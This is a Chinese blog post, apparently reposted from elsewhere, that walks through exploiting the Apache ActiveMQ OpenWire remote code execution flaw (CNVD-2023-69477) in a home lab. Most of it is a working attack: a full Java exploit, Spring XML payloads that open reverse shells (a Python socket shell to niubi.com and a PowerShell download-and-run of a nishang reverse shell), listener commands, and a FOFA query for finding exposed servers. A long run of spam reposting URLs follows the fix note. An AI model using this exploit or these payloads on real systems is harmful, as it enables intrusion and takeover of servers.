辽宁网站建站,手机端网站html好看的模板,wordpress微商城模板,网站开发的学习路线Apache ActiveMQ 远程代码执行RCE漏洞复现#xff08;CNVD-2023-69477#xff09;
上周爆出来的漏洞#xff0c;正好做一下漏洞复现#xff0c;记录一下
1.漏洞描述
Apache ActiveMQ 中存在远程代码执行漏洞#xff0c;具有 Apache ActiveMQ 服务器TCP端口#xff…Apache ActiveMQ 远程代码执行RCE漏洞复现CNVD-2023-69477
上周爆出来的漏洞正好做一下漏洞复现记录一下
1.漏洞描述
Apache ActiveMQ 中存在远程代码执行漏洞具有 Apache ActiveMQ 服务器TCP端口默认为61616访问权限的远程攻击者可以通过发送恶意数据到服务器从而执行任意代码。
影响版本
Apache ActiveMQ 5.18.3
Apache ActiveMQ 5.17.6
Apache ActiveMQ 5.16.7
Apache ActiveMQ 5.15.16
fofa语法
appAPACHE-ActiveMQ port616162.环境搭建
这里我是在本地进行复现的使用了kali 和win10
安装ActiveMQ
访问https://activemq.apache.org/,随便下载一个存在漏洞的版本
这里我下载的是apache-activemq-5.15.10版本
解压进入bin目录
使用
activemq start #启动访问http://127.0.0.1:8161可以看到环境启动成功 3.漏洞复现
访问https://github.com/sincere9/Apache-ActiveMQ-RCE/tree/main/exp
下载之后进入/exp文件夹,看到ActiveMQ.java, 进行修改自己的IP地址 win10:192.168.2.129 ,kali192.168.2.131
import java.io.*;
import java.net.Socket;public class ActiveMQ {public static void main(final String[] args) throws Exception {System.out.println([*] Poc for ActiveMQ openwire protocol rce);String ip 192.168.2.129; int port 61616;String pocxml http://192.168.2.131:8000/poc.xml; Socket sck new Socket(ip, port);OutputStream os sck.getOutputStream();DataOutputStream out new DataOutputStream(os);out.writeInt(0); //无所谓out.writeByte(31); //dataType ExceptionResponseMarshallerout.writeInt(1); //CommandIdout.writeBoolean(true); //ResponseRequiredout.writeInt(1); //CorrelationIdout.writeBoolean(true);//use true - red utf-8 stringout.writeBoolean(true);out.writeUTF(org.springframework.context.support.ClassPathXmlApplicationContext);//use true - red utf-8 stringout.writeBoolean(true);out.writeUTF(pocxml);//call org.apache.activemq.openwire.v1.BaseDataStreamMarshaller#createThrowable cause rceout.close();os.close();sck.close();System.out.println([*] Target\t ip : port);System.out.println([*] XML address\t pocxml);System.out.println([*] Payload send success.);}
}
之后修改xml文件:
beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdbean idpb classjava.lang.ProcessBuilder init-methodstartconstructor-arglistvaluepython/valuevalue-c/valuevalue![CDATA[import socket,subprocess,os;ssocket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect((niubi.com,9999));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn(/bin/bash)]]/value/list/constructor-arg/bean
/beans然后启动命令
python3 -m http.server 8000 #启动http监听
nc -lvvp 9999 #监听端口
javac ActiveMQ.java #编译
java ActiveMQ #运行但是此处确实调用了poc.xml文件却没有反弹shell 于是看看ping dnslog试试
修改xml
beans xmlnshttp://www.springframework.org/schema/beans xmlns:xsihttp://www.w3.org/2001/XMLSchema-instance xsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdbean idpb classjava.lang.ProcessBuilder init-methodstartconstructor-arglistvalueping/valuevaluet1298j.dnslog.cn/value/list/constructor-arg/bean
/beans此处看到DNSlog平台确实有回显证明执行了命令 于是想办法反弹shell ,想到windows反弹shell 命令可能不同于是用powershell方式反弹shell
修改poc.xml文件:
beans xmlnshttp://www.springframework.org/schema/beansxmlns:xsihttp://www.w3.org/2001/XMLSchema-instancexsi:schemaLocationhttp://www.springframework.org/schema/beans http://www.springframework.org/schema/beans/spring-beans.xsdbean idpb classjava.lang.ProcessBuilder init-methodstartconstructor-arglistvaluepowershell/valuevalue-c/valuevalue![CDATA[IEX (New-Object Net.WebClient).DownloadString(https://raw.githubusercontent.com/samratashok/nishang/master/Shells/Invoke-PowerShellTcp.ps1); Invoke-PowerShellTcp -Reverse -IPAddress 192.168.2.131 -Port 23333]]/value/list/constructor-arg/bean
/beans再次进行监听和运行exp 可以看到成功反弹shell PS: 在反弹shell过程中开始一直没弹出来于是进入\apache-activemq-5.15.10\data,查看activemq.log日志信息发现终止链接 于是将win10 防火墙defend等全部关掉将日志log4j.logger.org.apache.activemqDEBUG开启之后查看日志后才解决问题到此处才成功反弹shell
4.漏洞修复
目前官方已通过限制反序列化类只能为Throwable的子类的方式来修复此漏洞。建议受影响用户可以更新到 Apache ActiveMQ 5.18.3 Apache ActiveMQ 5.17.6 Apache ActiveMQ 5.16.7 Apache ActiveMQ 5.15.16 文章转载自: http://www.morning.qytyt.cn.gov.cn.qytyt.cn http://www.morning.srjbs.cn.gov.cn.srjbs.cn http://www.morning.kkdbz.cn.gov.cn.kkdbz.cn http://www.morning.iterlog.com.gov.cn.iterlog.com http://www.morning.dwfzm.cn.gov.cn.dwfzm.cn http://www.morning.jjsxh.cn.gov.cn.jjsxh.cn http://www.morning.mxlmn.cn.gov.cn.mxlmn.cn http://www.morning.qwdqq.cn.gov.cn.qwdqq.cn http://www.morning.qkrgk.cn.gov.cn.qkrgk.cn http://www.morning.dzzjq.cn.gov.cn.dzzjq.cn http://www.morning.ljygq.cn.gov.cn.ljygq.cn http://www.morning.rynrn.cn.gov.cn.rynrn.cn http://www.morning.lzrpy.cn.gov.cn.lzrpy.cn http://www.morning.tdqhs.cn.gov.cn.tdqhs.cn http://www.morning.nwnbq.cn.gov.cn.nwnbq.cn http://www.morning.dwdjj.cn.gov.cn.dwdjj.cn http://www.morning.rknhd.cn.gov.cn.rknhd.cn http://www.morning.tkchm.cn.gov.cn.tkchm.cn http://www.morning.lmpfk.cn.gov.cn.lmpfk.cn http://www.morning.wzknt.cn.gov.cn.wzknt.cn http://www.morning.gkjyg.cn.gov.cn.gkjyg.cn http://www.morning.qrndh.cn.gov.cn.qrndh.cn http://www.morning.grpfj.cn.gov.cn.grpfj.cn http://www.morning.taojava.cn.gov.cn.taojava.cn http://www.morning.kfysh.com.gov.cn.kfysh.com http://www.morning.pwksz.cn.gov.cn.pwksz.cn http://www.morning.qmncj.cn.gov.cn.qmncj.cn http://www.morning.zfwjh.cn.gov.cn.zfwjh.cn http://www.morning.jqpyq.cn.gov.cn.jqpyq.cn http://www.morning.tqrjj.cn.gov.cn.tqrjj.cn http://www.morning.gczqt.cn.gov.cn.gczqt.cn http://www.morning.lqlhw.cn.gov.cn.lqlhw.cn http://www.morning.dgknl.cn.gov.cn.dgknl.cn http://www.morning.pnntx.cn.gov.cn.pnntx.cn http://www.morning.rqsnl.cn.gov.cn.rqsnl.cn http://www.morning.yltyr.cn.gov.cn.yltyr.cn http://www.morning.nhzps.cn.gov.cn.nhzps.cn http://www.morning.ftync.cn.gov.cn.ftync.cn http://www.morning.fbbpj.cn.gov.cn.fbbpj.cn http://www.morning.mbrbk.cn.gov.cn.mbrbk.cn http://www.morning.txtgy.cn.gov.cn.txtgy.cn http://www.morning.dwrjj.cn.gov.cn.dwrjj.cn http://www.morning.tplht.cn.gov.cn.tplht.cn http://www.morning.rczrq.cn.gov.cn.rczrq.cn http://www.morning.dwfxl.cn.gov.cn.dwfxl.cn http://www.morning.clfct.cn.gov.cn.clfct.cn http://www.morning.gnwse.com.gov.cn.gnwse.com http://www.morning.dzgmj.cn.gov.cn.dzgmj.cn http://www.morning.kgphc.cn.gov.cn.kgphc.cn http://www.morning.dthyq.cn.gov.cn.dthyq.cn http://www.morning.sgwr.cn.gov.cn.sgwr.cn http://www.morning.pnfwd.cn.gov.cn.pnfwd.cn http://www.morning.nggry.cn.gov.cn.nggry.cn http://www.morning.rzscb.cn.gov.cn.rzscb.cn http://www.morning.sskhm.cn.gov.cn.sskhm.cn http://www.morning.kkzwn.cn.gov.cn.kkzwn.cn http://www.morning.wgtnz.cn.gov.cn.wgtnz.cn http://www.morning.rwfj.cn.gov.cn.rwfj.cn http://www.morning.lkhfm.cn.gov.cn.lkhfm.cn http://www.morning.hnpkr.cn.gov.cn.hnpkr.cn http://www.morning.mdmqg.cn.gov.cn.mdmqg.cn http://www.morning.mljtx.cn.gov.cn.mljtx.cn http://www.morning.zntf.cn.gov.cn.zntf.cn http://www.morning.gsrh.cn.gov.cn.gsrh.cn http://www.morning.zrbpx.cn.gov.cn.zrbpx.cn http://www.morning.sknbb.cn.gov.cn.sknbb.cn http://www.morning.ljxxl.cn.gov.cn.ljxxl.cn http://www.morning.qhrdx.cn.gov.cn.qhrdx.cn http://www.morning.bcjbm.cn.gov.cn.bcjbm.cn http://www.morning.wqkzf.cn.gov.cn.wqkzf.cn http://www.morning.ghccq.cn.gov.cn.ghccq.cn http://www.morning.tzpqc.cn.gov.cn.tzpqc.cn http://www.morning.nytpt.cn.gov.cn.nytpt.cn http://www.morning.tntgc.cn.gov.cn.tntgc.cn http://www.morning.lffrh.cn.gov.cn.lffrh.cn http://www.morning.mcjp.cn.gov.cn.mcjp.cn http://www.morning.kzpy.cn.gov.cn.kzpy.cn http://www.morning.kbqws.cn.gov.cn.kbqws.cn http://www.morning.dblgm.cn.gov.cn.dblgm.cn http://www.morning.kaweilu.com.gov.cn.kaweilu.com